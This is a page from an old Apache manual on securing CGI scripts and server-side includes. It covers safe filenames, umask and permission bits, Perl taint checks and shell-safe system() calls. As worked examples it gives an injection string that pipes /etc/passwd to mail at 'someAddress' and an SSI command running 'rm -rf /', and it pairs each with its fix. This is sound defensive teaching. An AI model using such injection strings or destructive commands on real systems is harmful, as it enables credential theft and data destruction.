asg16.htm

apache技术手册

<FONT SIZE=5 COLOR="#FF0000"><B>Avoiding Bad Input</B></FONT></CENTER></H3>

<BR>

<P>Here's what you should keep in mind regarding filenames:

<BR>

<UL>

<LI>Filenames you code are OK.

<BR>

<BR>

<LI>Filenames sent by a form or coded by others are not.

<BR>

<BR>

<LI>Restrict the files that others can supply to you. Perhaps have your program only access files that you explicitly permit.

<BR>

<BR>

<LI>Your CGI programs should be able to gracefully handle a missing temporary file. Perhaps your CGI programs should be able to determine if the file they are opening is the one they thought it was.

<BR>

<BR>

<LI>Filenaming. Keep it simple: Only allow filenames that use letters and numbers. Any other character is suspicious. Spaces or other whitespace in a filename can introduce problems. This also means that under UNIX, you really don't want files that start with periods (.), semicolons (;), or dashes (-). Files that include any of the shell metacharacters should not be permitted. Metacharacters are characters like * or ?, which have a special meaning to a shell.

<BR>

<BR>

<LI>File permissions. Perhaps temporary files should not be world readable or writable, since this allows users from within your organization to read information that they perhaps should not. This is the one reason to have your server run as special user such as 'httpd,' so that you can assign a reasonable umask. The umask (the user mask) is used to set the default file permission. The easiest way to calculate a umask is to subtract the permissions from it.

<BR>

<BR>

</UL>

<BLOCKQUOTE>

<BLOCKQUOTE>

<HR ALIGN=CENTER>

<BR>

<NOTE>If you want your files to be readable and writable by you and no one else, you need to set your file mode to 700 (I added 400+200+100 from the following table). To create an umask that responds to this file mode, subtract 700 from 777. This leaves you with a umask of 77. Typically, you specify umasks with a 0 for the owner bit because you want to be able to have execute permissions on directories and executables you create, thus you would specify a 077 umask value.

<BR>Permissions under UNIX take the following bits, which that you can add or subtract to arrive at the permissions you want.</NOTE>

<BR>

<HR ALIGN=CENTER>

</BLOCKQUOTE></BLOCKQUOTE>

<TABLE  BORDERCOLOR=#000040 BORDER=1 CELLSPACING=2 WIDTH="80%" CELLPADDING=2 >

<TR>

<TD VALIGN=top  BGCOLOR=#80FFFF ><FONT COLOR=#000080>

Bit Mode

</FONT>

<TD VALIGN=top  BGCOLOR=#80FFFF ><FONT COLOR=#000080>

Significance

</FONT>

<TR>

<TD VALIGN=top  BGCOLOR=#80FFFF ><FONT COLOR=#000080>

4000

</FONT>

<TD VALIGN=top  BGCOLOR=#80FFFF ><FONT COLOR=#000080>

Set user ID on execution

</FONT>

<TR>

<TD VALIGN=top  BGCOLOR=#80FFFF ><FONT COLOR=#000080>

2000

</FONT>

<TD VALIGN=top  BGCOLOR=#80FFFF ><FONT COLOR=#000080>

Set group ID on execution

</FONT>

<TR>

<TD VALIGN=top  BGCOLOR=#80FFFF ><FONT COLOR=#000080>

1000

</FONT>

<TD VALIGN=top  BGCOLOR=#80FFFF ><FONT COLOR=#000080>

Set sticky bit*

</FONT>

<TR>

<TD VALIGN=top  BGCOLOR=#80FFFF ><FONT COLOR=#000080>

0400

</FONT>

<TD VALIGN=top  BGCOLOR=#80FFFF ><FONT COLOR=#000080>

Read by owner

</FONT>

<TR>

<TD VALIGN=top  BGCOLOR=#80FFFF ><FONT COLOR=#000080>

0200

</FONT>

<TD VALIGN=top  BGCOLOR=#80FFFF ><FONT COLOR=#000080>

Write by owner

</FONT>

<TR>

<TD VALIGN=top  BGCOLOR=#80FFFF ><FONT COLOR=#000080>

0100

</FONT>

<TD VALIGN=top  BGCOLOR=#80FFFF ><FONT COLOR=#000080>

Execute (search in directory) by owner

</FONT>

<TR>

<TD VALIGN=top  BGCOLOR=#80FFFF ><FONT COLOR=#000080>

0040

</FONT>

<TD VALIGN=top  BGCOLOR=#80FFFF ><FONT COLOR=#000080>

Read by group

</FONT>

<TR>

<TD VALIGN=top  BGCOLOR=#80FFFF ><FONT COLOR=#000080>

0020

</FONT>

<TD VALIGN=top  BGCOLOR=#80FFFF ><FONT COLOR=#000080>

Write by group

</FONT>

<TR>

<TD VALIGN=top  BGCOLOR=#80FFFF ><FONT COLOR=#000080>

0010

</FONT>

<TD VALIGN=top  BGCOLOR=#80FFFF ><FONT COLOR=#000080>

Execute (search in a directory) by group

</FONT>

<TR>

<TD VALIGN=top  BGCOLOR=#80FFFF ><FONT COLOR=#000080>

0004

</FONT>

<TD VALIGN=top  BGCOLOR=#80FFFF ><FONT COLOR=#000080>

Read by others

</FONT>

<TR>

<TD VALIGN=top  BGCOLOR=#80FFFF ><FONT COLOR=#000080>

0002

</FONT>

<TD VALIGN=top  BGCOLOR=#80FFFF ><FONT COLOR=#000080>

Write by others

</FONT>

<TR>

<TD VALIGN=top  BGCOLOR=#80FFFF ><FONT COLOR=#000080>

0001

</FONT>

<TD VALIGN=top  BGCOLOR=#80FFFF ><FONT COLOR=#000080>

Execute by others</FONT>

</TABLE>

<P>*When set, unprivileged users cannot delete or rename files of other users in that directory

<BR>

<BR>

<A NAME="E69E192"></A>

<H4 ALIGN=CENTER>

<CENTER>

<FONT SIZE=4 COLOR="#FF0000"><B>Securing Your CGI</B></FONT></CENTER></H4>

<BR>

<P>The main problem with CGIs is passing user variables when executing an exec() or system() call. These variables, if not carefully watched, could contain shell metacharacters that will cause the shell to do something other than what was intended.

<BR>

<P>Suppose you have a simple script that uses the UNIX utility grep to search the contents of a phone database. The user enters a first or last name, and the script returns any matching items. The script does most of its work like this (please note that Perl has much better, built-in ways of doing this). Here's the script:

<BR>

<BR>

<PRE>

<FONT COLOR="#000080">system(&quot;grep $pattern database&quot;);</FONT></PRE>

<P>The pattern variable is set from a form input by the user. Now see what would happen if the user entered a line like the following:

<BR>

<BR>

<PRE>

<FONT COLOR="#000080">&quot;-v ffffffff /etc/passwd |mail <I>someAddress</I>&quot;</FONT></PRE>

<P>This effectively would send your /etc/passwd file via e-mail to <I>someAddress</I>. The -v argument to grep tells it to include all lines that don't match. Our matching pattern ffffffff more than likely won't match anyone.

<BR>

<P>The real solution to this type of problem is to do several things. One easy way of dealing with this problem is by making a call to system a little differently:

<BR>

<PRE>

<FONT COLOR="#000080">system(&quot;/bin/grep&quot;, $pattern, &quot;database&quot;);</FONT></PRE>

<P>By doing this, you have eliminated calling a shell. This effectively eliminated the calling of a shell, which would have interpreted the pipe and done something you didn't want. Alternatively, you could have escaped each special shell character before passing it to the grep call, as this line of Perl shows:

<BR>

<PRE>

<FONT COLOR="#000080">$pattern =~ s/[^\w]/\\\&amp;/g;

system(&quot;grep \&quot;$pattern\&quot; database&quot;);</FONT></PRE>

<P>Perl has built-in checks for shell metacharacters and other expressions that could spell trouble. To enable this feature, just start your Perl scripts with #!/usr/local/bin/perl -T<B>.</B>

<BR>

<P>This will enable Perl's taint checks. Data from outside the program (environment variables, standard input stream, or program arguments) cannot use eval(), exec(), system(), or piped open() calls. Any program variable that obtains a value from one of these sources also becomes tainted and cannot be used either. In order for you to use a tainted variable, you'll need to <I>untaint</I> it. Untainting requires that you perform a pattern matching on the tainted variable that extracts matched substrings. To untaint an e-mail address, use the following code:

<BR>

<BR>

<PRE>

<FONT COLOR="#000080">$email=~/([\w-.]+\@[\w-.]+)/;</FONT></PRE>

<BR>

<A NAME="E69E193"></A>

<H4 ALIGN=CENTER>

<CENTER>

<FONT SIZE=4 COLOR="#FF0000"><B>Server Parsed HTML (SSI) Security Issues</B></FONT></CENTER></H4>

<BR>

<P>Server Parsed HTML (SPML), also known as Server Side Includes (SSI), provides a convenient way of performing server-side processing on an HTML file before it is sent to the client. This allows for the opportunity to introduce some dynamic features without having to program a CGI to provide the functionality.

<BR>

<P>SPML documents are processed by the server before they are sent to the client. Only documents with a MIME type text/x-server-parsed-html or text/x-server-parsed-html3 are parsed. The resulting HTML is given a MIME type text/html and is sent back to the client.

<BR>

<P>SPML can include information such as the current time, can execute a program, or can include a document, just by adding some special SPML commands to your HTML page. When the HTML page is properly identified to the server as containing SPML tokens, the server parses the file and sends the results to the client requesting it. While this seems rather innocuous, it isn't. SSIs are parsed like a script and can be a source of grief.

<BR>

<P>File inclusion is not usually a problem, as long as users are not including sensitive files such as /etc/passwd. One condition to watch for is SSI that are built from data provided by an user over the Web. Suppose that you created a bulletin board SSI that would include items added by external users via a CGI. If your CGI was not smart enough to check for what it is being handed, it is possible for a user to add something nasty such as a line like &lt;!--#cmd cmd=&quot;/bin/rm -rf /&gt;. This, as you guessed, would attempt to remove all files in your disk. Obviously, the example is intended as an illustration.

<BR>

<BR>

<A NAME="E68E172"></A>

<H3 ALIGN=CENTER>

<CENTER>

<FONT SIZE=5 COLOR="#FF0000"><B>Security and Permissions</B></FONT></CENTER></H3>

<BR>

<P>Exercising security on your Web site means enforcing policies. If you happen to allow per-directory access files, in a way you have relinquished some control over the implementation of that policy. From an administrative point of view, it is much better to manage one global access file (conf/access.conf) with many different entries than a minimal global configuration file plus hundreds of per-directory access files.

<BR>

<P>Per-directory access files also have the terrible side effect of slowing down your server considerably because, once enabled, your server will scan each directory in the path to a request. If found, it then needs to figure out what options to apply and in what order. This takes time.

<BR>

<BR>

<A NAME="E69E194"></A>

<H4 ALIGN=CENTER>

<CENTER>

<FONT SIZE=4 COLOR="#FF0000"><B>The </B><B>Options</B><B> Directive</B></FONT></CENTER></H4>

<BR>

<P>Permissions are specified in &lt;Directory&gt; sections in the global access control file or on a per-directory basis with .htaccess files. The Options directive specifies what server options are enabled for that particular server domain. Here are some of the options:

<BR>